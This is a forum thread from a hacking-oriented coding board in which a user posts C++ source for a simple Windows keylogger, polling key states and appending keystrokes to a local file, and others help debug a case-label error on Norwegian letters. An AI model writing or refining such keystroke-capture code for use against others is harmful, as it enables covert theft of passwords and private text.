![]() |
|
[C++] Help needed <Case value> - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: C, C++, & Obj-C (https://sinister.ly/Forum-C-C-Obj-C) +--- Thread: [C++] Help needed <Case value> (/Thread-C-Help-needed-Case-value) Pages:
1
2
|
[C++] Help needed <Case value> - Sikom - 11-23-2015 Hey, I am making a keylogger. And I am getting stuck when trying to add new switches. I get this error Code: case label value exceeds maximum value for typeline 47, 55 and 63 I just do it to learn the basics, I might start with Hooks later Code: #include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;
void log();
int main()
{
log();
return 0;
}
void log()
{
char key;
for(;;)
{
//Sleep(0);
for( key=8; key<=222; key++)
{
if(GetAsyncKeyState(key)== -32767)
{
ofstream write ("Record.txt", ios::app);
if( ((key>64)&&(key<91)) && !(GetAsyncKeyState(0x10)) )
{
key+=32;
write << key;
write.close();
break;
}
else if((key>64)&&(key<91))
{
write << key;
write.close();
break;
}
else
{
switch(key)
{
// æ, ø, å
case 146:
{
if(GetAsyncKeyState(0x10))
write << "Æ";
else
write << "æ";
}
break;
case 157:
{
if(GetAsyncKeyState(0x10))
write << "Ø";
else
write << "ø";
}
break;
case 143:
{
if(GetAsyncKeyState(0x10))
write <<"Å";
else
write << "å";
}
break;
//Number + Shift
case 48:
{
if(GetAsyncKeyState(0x10))
write << "=";
else
write << "0";
}
break;
case 49:
{
if(GetAsyncKeyState(0x10))
write << "!";
else
write << "1";
}
break;
case 50:
{
if(GetAsyncKeyState(0x10))
write << " ";
else
write << "2";
}
break;
case 51:
{
if(GetAsyncKeyState(0x10))
write << "#";
else
write << "3";
}
break;
case 52:
{
if(GetAsyncKeyState(0x10))
write << "¤";
else
write << "4";
}
break;
case 53:
{
if(GetAsyncKeyState(0x10))
write << "%";
else
write << "5";
}
break;
case 54:
{
if(GetAsyncKeyState(0x10))
write << "&";
else
write << "6";
}
break;
case 55:
{
if(GetAsyncKeyState(0x10))
write << "/";
else
write << "7";
}
break;
case 56:
{
if(GetAsyncKeyState(0x10))
write << "(";
else
write << "8";
}
break;
case 57:
{
if(GetAsyncKeyState(0x10))
write << ")";
else
write << "9";
}
break;
}
}
/*switch(key)
{
case 8: write << "<Backspace>"; break;
case 27: write << "<Esc>"; break;
case 127: write << "<DEL>"; break;
case 32: write << " "; break;
case 13: write << "<Enter>\n"; break;
default: write << c; break;
}*/
}
}
}
}RE: [C++] - The Real Slim Shady - 11-23-2015 Well, C++ is not a language I consider myself fluent in... So I could be off... but I see a couple of issues that I believe to be wrong. 1. 'key' is a char type. A char type should have a single Character. 'A','B','C','1','2','3', etc. But your 'case 146: ' statement, has 3 characters. You're dealing with an int at this point. 2. The case statements have {} ?? As I said I'm not an expert in C++ but this seems wrong. To my knowledge, Code: case 146:
{
if(GetAsyncKeyState(0x10))
write << "Æ";
else
write << "æ";
}
break;Should be Code: case 146:
if(GetAsyncKeyState(0x10))
write << "Æ";
else
write << "æ";
break;3. But even the above is not correct. Your if statements do not have {} ?? The above 'fixed' code Code: case 146:
if(GetAsyncKeyState(0x10))
write << "Æ";
else
write << "æ";
break;Should be: Code: case 146:
if(GetAsyncKeyState(0x10)) {
write << "Æ";
} else {
write << "æ";
}
break;RE: [C++] - m0dem - 11-23-2015 (11-23-2015, 05:32 PM)The Real Slim Shady Wrote: 3. But even the above is not correct. Your if statements do not have {} ?? I'm pretty sure for one-liner `if` statements in C/C++, it is optional to use the brackets {}, correct me if I'm wrong I prefer using the brackets anyways tho (for readability), but that's just my opinion. RE: [C++] - The Real Slim Shady - 11-23-2015 (11-23-2015, 06:49 PM)m0dem Wrote: I'm pretty sure for one-liner `if` statements in C/C++, it is optional to use the brackets {}, correct me if I'm wrong I know some languages don't require it for one line statements. As I said I am not all that familiar with C++, just other C-style languages. But yes - I always use them simply for consistency. And if they are ever updated or something added to the block, I don't need to reformat later. In fact I don't know of many people who do actually use this "feature" when they code. RE: [C++] - m0dem - 11-24-2015 Here's for reference: http://programmers.stackexchange.com/questions/16528/single-statement-if-block-braces-or-no They have some explanations of why you should use the brackets (even if you don't have to). Summary: the brackets help reduce human error. RE: [C++] - Sikom - 11-24-2015 Thank you guys, I will test when I get home and update you RE: [C++] - Sikom - 11-24-2015 Ok, I tested with Int and string, neither worked. It did not help to change the layout of the code either (As I expected). So there is something else wrong. It works on the other characters except æøå RE: [C++] Help needed <Case value> - m0dem - 11-24-2015 (11-24-2015, 04:41 PM)SimPlaysGames Wrote: Ok, I tested with Int and string, neither worked. It did not help to change the layout of the code either (As I expected). So there is something else wrong. It works on the other characters except æøå I tried out your original code (no changes) and it worked just fine. How did you get the error to appear? RE: [C++] Help needed <Case value> - Sikom - 11-24-2015 (11-24-2015, 05:56 PM)m0dem Wrote: I tried out your original code (no changes) and it worked just fine. I got the error when I tried it, but I don't know, I can show you RE: [C++] Help needed <Case value> - m0dem - 11-24-2015 (11-24-2015, 06:39 PM)SimPlaysGames Wrote: I got the error when I tried it, but I don't know, I can show you It seems to work just fine for me. I execute it and then it starts logging all my keys into Record.txt. Just like it should. I don't know what's going on. |